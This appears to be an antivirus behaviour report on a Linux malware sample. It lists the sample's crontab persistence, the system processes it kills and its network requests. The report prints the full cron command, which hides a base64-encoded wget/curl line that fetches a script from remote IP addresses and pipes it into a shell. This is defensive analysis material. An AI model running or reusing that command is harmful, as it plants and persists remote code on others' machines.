Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- hooyrs
Launches processes:
- sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2Qvei5zaHxzaCAgfHwgY3VybCAtcyBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNoIHx8IHdnZXQgLU8gLSBodHRwOi8vODcuMjM2LjIxMi4yMzcvZC96LnNofHNoIHx8IGN1cmwgIC1zIGh0dHA6Ly84Ny4yMzYuMjEyLjIzNy9kL3ouanBnfHNo\" | base64 -d | sh > /dev/null' | crontab -;
- crontab -
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- (sd-pam)
- systemd
- agetty
- acpid
- rsyslogd
- systemd-logind
- cron
- rpc.idmapd
- rpcbind
- dhclient
- systemd-udevd
- systemd-journal
- kworker/u2:0
- systemd-cgroups
- Unknown process with PID: 0
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.ET7F4Z
- /var/spool/cron/crontabs/tmp.Ziyn7K
Creates or modifies files:
- /var/spool/cron/crontabs/tmp.ET7F4Z
- /var/spool/cron/crontabs/tmp.Ziyn7K
Deletes files:
- /root/hooyrs
Network activity:
HTTP GET requests:
- 95.###.142.161/d/lll
- 95.###.142.161/d/drn
- 95.###.142.161/d/lmmml